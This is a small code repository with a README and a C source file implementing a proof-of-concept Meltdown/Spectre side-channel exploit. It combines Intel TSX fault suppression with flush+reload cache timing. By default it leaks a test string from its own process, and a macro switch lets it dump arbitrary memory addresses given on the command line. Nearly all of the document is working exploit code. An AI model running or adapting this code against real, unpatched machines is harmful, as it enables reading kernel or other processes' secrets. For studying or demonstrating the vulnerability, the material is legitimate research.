├── README.md └── meltdown.c /README.md: -------------------------------------------------------------------------------- 1 | # POC for meltdown/spectre 2 | 3 | I just wanted to see if this really works, and it actually does. Scary! 4 | 5 | It reads out the `TEST_PHRASE` using the timing attack (in its own process). 6 | 7 | **Note:** This will only work on Intel "Haswell" and later, since it uses 8 | the TSX extensions to mitigate the processor trap. 9 | 10 | Alternatively, by changing the macro `TEST_IN_OWN_PROCESS` to 0, you can 11 | specify an address and length on the command line, and output raw data to pipe 12 | into `strings`. In this case, it uses Intel's TSX to prevent crashing when 13 | attempting to access the mem location, just like the meltdown paper says. 14 | 15 | Tested on OS X 10.12.6 16 | 17 | Update: OS X has a fix available now, so the PoC only works in its own process 18 | memory anymore. 19 | -------------------------------------------------------------------------------- /meltdown.c: -------------------------------------------------------------------------------- 1 | // flush_reload from https://github.com/defuse/flush-reload-attacks 2 | // TSX from https://github.com/andikleen/tsx-tools 3 | // dump_hex from https://gist.github.com/ccbrown/9722406 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | 14 | #define NUM_PROBES 5 15 | #define TEST_IN_OWN_PROCESS 1 16 | #define TEST_PHRASE "Hmm, this does really work!" 17 | 18 | // TSX support 19 | 20 | #ifndef _RTM_H 21 | #define _RTM_H 1 22 | 23 | /* 24 | * Copyright (c) 2012,2013 Intel Corporation 25 | * Author: Andi Kleen 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that: (1) source code distributions 29 | * retain the above copyright notice and this paragraph in its entirety, (2) 30 | * distributions including binary code include the above copyright notice and 31 | * this paragraph in its entirety in the documentation or other materials 32 | * provided with the distribution 33 | * 34 | * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED 35 | * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF 36 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. 37 | */ 38 | 39 | /* Official RTM intrinsics interface matching gcc/icc, but works 40 | on older gcc compatible compilers and binutils. */ 41 | 42 | #define _XBEGIN_STARTED (~0u) 43 | #define _XABORT_EXPLICIT (1 << 0) 44 | #define _XABORT_RETRY (1 << 1) 45 | #define _XABORT_CONFLICT (1 << 2) 46 | #define _XABORT_CAPACITY (1 << 3) 47 | #define _XABORT_DEBUG (1 << 4) 48 | #define _XABORT_NESTED (1 << 5) 49 | #define _XABORT_CODE(x) (((x) >> 24) & 0xff) 50 | 51 | #define __rtm_force_inline __attribute__((__always_inline__)) inline 52 | 53 | static __rtm_force_inline int _xbegin(void) 54 | { 55 | int ret = _XBEGIN_STARTED; 56 | asm volatile(".byte 0xc7,0xf8 ; .long 0" : "+a" (ret) :: "memory"); 57 | return ret; 58 | } 59 | 60 | static __rtm_force_inline void _xend(void) 61 | { 62 | asm volatile(".byte 0x0f,0x01,0xd5" ::: "memory"); 63 | } 64 | 65 | /* This is a macro because some compilers do not propagate the constant 66 | * through an inline with optimization disabled. 67 | */ 68 | #define _xabort(status) \ 69 | asm volatile(".byte 0xc6,0xf8,%P0" :: "i" (status) : "memory") 70 | 71 | static __rtm_force_inline int _xtest(void) 72 | { 73 | unsigned char out; 74 | asm volatile(".byte 0x0f,0x01,0xd6 ; setnz %0" : "=r" (out) :: "memory"); 75 | return out; 76 | } 77 | 78 | #endif 79 | 80 | __attribute__((always_inline)) 81 | inline void flush(const char *adrs) 82 | { 83 | asm __volatile__ ( 84 | "mfence \n" 85 | "clflush 0(%0) \n" 86 | : 87 | : "r" (adrs) 88 | : 89 | ); 90 | } 91 | 92 | __attribute__((always_inline)) 93 | inline unsigned long probe(const char *adrs) 94 | { 95 | volatile unsigned long time; 96 | 97 | asm __volatile__ ( 98 | "mfence \n" 99 | "lfence \n" 100 | "rdtsc \n" 101 | "lfence \n" 102 | "movl %%eax, %%esi \n" 103 | "movl (%1), %%eax \n" 104 | "lfence \n" 105 | "rdtsc \n" 106 | "subl %%esi, %%eax \n" 107 | "clflush 0(%1) \n" 108 | : "=a" (time) 109 | : "c" (adrs) 110 | : "%esi", "%edx"); 111 | 112 | return time; 113 | } 114 | 115 | unsigned char probe_one(size_t ptr, char* buf, int page_size) 116 | { 117 | const int num_probes = NUM_PROBES; 118 | int c, i, status = 0, min_idx = 0, win_idx = 0; 119 | unsigned long times[256]; 120 | unsigned char guessed_char = 0, tests[256]; 121 | unsigned long long t1 = 0; 122 | volatile uint64_t val; 123 | 124 | memset(tests, 0, 256); 125 | 126 | for (c = 0; c < num_probes; c++) { 127 | memset(times, 0, sizeof(unsigned long) * 256); 128 | 129 | for (i=0; i<256; i++) { 130 | flush(&buf[i * page_size]); 131 | } 132 | 133 | if ((status = _xbegin()) == _XBEGIN_STARTED) { 134 | asm __volatile__ ( 135 | "%=: \n" 136 | "xorq %%rax, %%rax \n" 137 | "movb (%[ptr]), %%al \n" 138 | "shlq $0xc, %%rax \n" 139 | "jz %=b \n" 140 | "movq (%[buf], %%rax, 1), %%rbx \n" 141 | : 142 | : [ptr] "r" (ptr), [buf] "r" (buf) 143 | : "%rax", "%rbx"); 144 | 145 | _xend(); 146 | } else { 147 | asm __volatile__ ("mfence\n" :::); 148 | } 149 | 150 | for (i=0; i<256; i++) { 151 | times[i] = probe(&buf[i * page_size]); 152 | } 153 | 154 | for (i=0; i<256; i++) { 155 | min_idx = (times[min_idx] > times[i]) ? i : min_idx; 156 | } 157 | 158 | tests[min_idx]++; 159 | } 160 | 161 | for (i=0; i<256; i++) { 162 | win_idx = (tests[i] > tests[win_idx]) ? i : win_idx; 163 | } 164 | 165 | return (unsigned char)win_idx; 166 | } 167 | 168 | void dump_hex(void* addr, const void* data, size_t size) { 169 | char ascii[17]; 170 | size_t i, j; 171 | ascii[16] = '\0'; 172 | printf("0x%016lx | ", (unsigned long)addr); 173 | for (i = 0; i < size; ++i) { 174 | printf("%02X ", ((unsigned char*)data)[i]); 175 | if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { 176 | ascii[i % 16] = ((unsigned char*)data)[i]; 177 | } else { 178 | ascii[i % 16] = '.'; 179 | } 180 | if ((i+1) % 8 == 0 || i+1 == size) { 181 | printf(" "); 182 | if ((i+1) % 16 == 0) { 183 | printf("| %s \n", ascii); 184 | } else if (i+1 == size) { 185 | ascii[(i+1) % 16] = '\0'; 186 | if ((i+1) % 16 <= 8) { 187 | printf(" "); 188 | } 189 | for (j = (i+1) % 16; j < 16; ++j) { 190 | printf(" "); 191 | } 192 | printf("| %s \n", ascii); 193 | } 194 | } 195 | } 196 | } 197 | 198 | int main(int argc, char** argv) 199 | { 200 | unsigned char read_buf[16]; 201 | int page_size = getpagesize(), raw_output = 0; 202 | unsigned long start_addr = 0; 203 | unsigned long t, len = 0; 204 | 205 | #if TEST_IN_OWN_PROCESS 206 | static char* test = TEST_PHRASE; 207 | 208 | start_addr = (unsigned long)test; 209 | len = strlen(test); 210 | #else 211 | if (argc < 3 || argc > 4) { 212 | printf("usage: %s [start_addr (hex)] [len (dec)] [raw, optional]\n", 213 | argv[0]); 214 | return 0; 215 | } 216 | 217 | start_addr = strtoul(argv[1], NULL, 16); 218 | len = strtoul(argv[2], NULL, 10); 219 | 220 | if (argc == 4) { 221 | raw_output = 1; 222 | } 223 | #endif 224 | 225 | char* poke = (char*)mmap( 226 | NULL, 227 | 256 * page_size, 228 | PROT_READ | PROT_WRITE, 229 | MAP_ANON | MAP_SHARED, 230 | -1, 231 | 0 232 | ); 233 | 234 | if (MAP_FAILED == poke) { 235 | printf("mmap() failed: %s\n", strerror(errno)); 236 | return -1; 237 | } 238 | 239 | printf ("poke buffer: %p, page size: %i\n", poke, page_size); 240 | 241 | for (t=0; t 0 && 0 == t%16) { 243 | dump_hex((void*)(start_addr + t - 16), read_buf, 16); 244 | } 245 | 246 | read_buf[t%16] = probe_one(start_addr + t, poke, page_size); 247 | 248 | if (raw_output) { 249 | write(STDOUT_FILENO, &read_buf[t%16], 1); 250 | } 251 | } 252 | 253 | if (!raw_output && t > 0) { 254 | dump_hex((void*)(start_addr + ((t%16 ? t : (t-1))/16) * 16), 255 | read_buf, t%16 ? t%16 : 16); 256 | } 257 | 258 | munmap((void*)poke, 256 * page_size); 259 | } 260 | --------------------------------------------------------------------------------